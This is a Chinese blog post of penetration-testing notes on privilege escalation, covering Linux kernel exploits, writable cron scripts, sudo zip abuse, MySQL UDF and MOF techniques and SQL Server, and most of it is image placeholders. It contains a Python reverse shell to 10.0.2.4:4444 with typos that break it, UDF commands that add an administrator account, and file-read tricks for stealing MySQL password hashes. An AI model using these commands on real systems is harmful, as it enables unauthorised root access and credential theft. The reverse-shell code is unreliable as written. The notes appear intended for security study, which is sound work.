渗透测试-提权专题

提权介绍

往往 拿下服务器的web服务只是具有低权限用户(www-data)
对于内网渗透,我们需要提权到root
提升权限是非常关键的一步,
攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,
来达到提升权限的目的。

linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。

提权前提:

  • 已经拿到低权shell
  • 被入侵的机器上面有nc,python,perl等非常常见的工具
  • 有权限上传文件和下载文件

Linux提权

内核漏洞提权-首选考虑

先查看是否可以使用内核漏洞进行提权。先对系统做个了解

 #查看发行版本
cat /etc/issue
cat /etc/*-release
# 查看内核版本
uname -a


# 查看系统发行版本  Ubuntu 
lsb_release -a 

寻找内核溢出代码使用searchsploit
在这里插入图片描述

 gcc xxx.c -o exploit
chmod +x exploit
./exploit 
 

内核溢出的提权,不过一般用不上。

明文root密码提权

大多linux系统的密码都和/etc/passwd、/etc/shadow这两个配置文件相关的;
passwd里面储存了用户,
shadow里面是密码的hash;
且passwd是全用户可读,root可写。
shadow是仅root可以进行读写的。
破解linux用户名和对应的密码

使用John这个工具来破解。
可以在root权限下查看密码(前提是不知道root密码)

计划任务

系统内可能会有一些定时执行的任务,
一般这些任务由crontab来管理,
具有所属用户的权限。

非root权限的用户是不可以列出root用户的计划任务的。
但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,
如果刚好遇到一个把其中脚本配置成可以任意用户可写的,
这个时候就可以修改脚本等回连rootshell;
如果定时执行的文件时python脚本,可以使用下面的脚本来替换之前的脚本。

#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

查看/etc/crontab 有无可写权限的文件
在这里插入图片描述

密码复用

linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,
也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。
因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端,输入

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
看到是已经启动了虚拟终端
ssh 登录
ssh xxx@ip

利用zip进行提权
sudo -l查看了当前可以使用root提权的命令信息。

Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip
 

可以使用zip进行提权

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

在这里插入图片描述

05 提权与内网渗透

第三章 数据库提权

第一节 SQL Server数据库漏洞利用与提权

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
dbo 权限 备份数据库 不可以 执行命令

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
SESHELL
mdb 注册表 操作 执行命令

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第二节 MySQL数据库漏洞与提权

在这里插入图片描述
在这里插入图片描述

mysql root权限下 提权

安装问题
默认在 系统管理员 下 安装

以服务 启动

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
备份数据库 就 会有 文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
mof 定时 都可以 提权

在这里插入图片描述
在这里插入图片描述

远程 执行命令 反弹 shell 回来 *(攻击机 监听端口 )

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

UDF 提权执行系统命令

● Linux UDF
通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限

sleep(),sum(),ascii()

用户自定义函数
自己写方便自己函数,它有3种返回值,
分别是STRING字符型,INTEGER整型,REAL 实数型
  


-掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限

版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。
- windows 提权前提

mysql版本大于5.1,
udf.dll文件必须放置在mysql安装目录的lib plugin文件夹下

mysql版本小于5.1,
udf.dll文件在 windows server 2003下放置于c:windows system32目录,
在windows server - - 2000下放置在c:winnt system32目录。

在这里插入图片描述

 首先、查看一下MySQL是32位的还是64位的,查看这个有几种方式:
mysql -V
mysql --version
进入MySQL数据库中,执行: 


show variables like '%datadir%';
-- C:\ProgramData\MySQL\MySQL Server 5.7\Data\


show variables like '%version_%';



在这里插入图片描述

在这里插入图片描述

 create function cmdshell returns string soname 'udf.dll' 
select cmdshell('net user iis_user 123!@#abcABC /add'); 
select cmdshell('net localgroup administrators iis_user /add'); 
select cmdshell('regedit /s d:web3389.reg'); 
drop function cmdshell; 
select cmdshell('netstat -an'); 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 要求 root 权限

  • mof 是 win系统自带 漏洞

Mysql的用户在没有File权限情况-低权限拿到root密码

Mysql漏洞利用(越权, 从低权限拿到root密码)

无法通过Load_file读文件
或者通过into dumpfile 或者into outfile去写文件

通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件

读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash

在这里插入图片描述

 LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';  
 
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by ''; 

select * from test2;

在这里插入图片描述

用winhex打开一下user.myd文件
在这里插入图片描述
被00字符给截断了,导致后面的东西都没进数据库。
下面就想办法绕过这个限制。
经过几次尝试发现,在后面加上LINES TERMINATED BY ‘’ 即可,这样子就把截断符号作为分隔符处理了,完整的语句

 
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY ''; 

在这里插入图片描述

Windows Smb 重放 / 中继 利用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

CTF-高难度内核提权

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

windows EXP提权

EXP溢出提权(不可以使用技巧/无障碍提权)

exploit —>windows溢出利用

shell 连接

虚拟连接提权

  • 中国菜刀
  • 蚁剑
  • 大马shell 执行命令 dir

一句话木马提权


在这里插入图片描述在这里插入图片描述

处理下virualbox 与物理机联通问题

在这里插入图片描述

创建环境

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


  1. 查看权限 whoami systeminfo (补丁)
  2. 提升权限 net user xxx xxx /add net localgroup
  3. 查看端口 tasklist /svc netstat -ano

在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 暂时将就 下吧 C盘文件
    在这里插入图片描述在这里插入图片描述
  • 查看补丁
    在这里插入图片描述
  • 补丁程序 暂缺
  • 为所欲为

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

  • 无意间 发现了个 工具

mysql5.1------Linux提权

#1 简单纵深打击

在这里插入图片描述

通过资产扫描弱口令    FTP  Mysql   Redis   ssh   RPC 

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

 由于 root 权限  免了低高权限 UDP 提权

i春秋\05 提权与内网渗透\

第一章 初见提权

第一节 提权概述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

基础命令

查看用户登录情况 query user

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

脏牛漏洞

第三方软件 提权 - pr提权

数据库提权

sqlserver SA xp cmd shell

mysql udf 插件提权 确权MOF 替换文件 提权

dll文件 加载

ftp 输入法 vnc 配置

输入法 替换exe 重启 自动加载

  • webshell 是根据 中间件 安装时 的权限 所依据的

在这里插入图片描述

第二节 基于密码破解的提权

在这里插入图片描述
在这里插入图片描述

哈希获取破解

在这里插入图片描述
在这里插入图片描述

局域网 arp 、 dns 劫持 嗅探

猜你喜欢

转载自blog.csdn.net/qq_33608000/article/details/125451741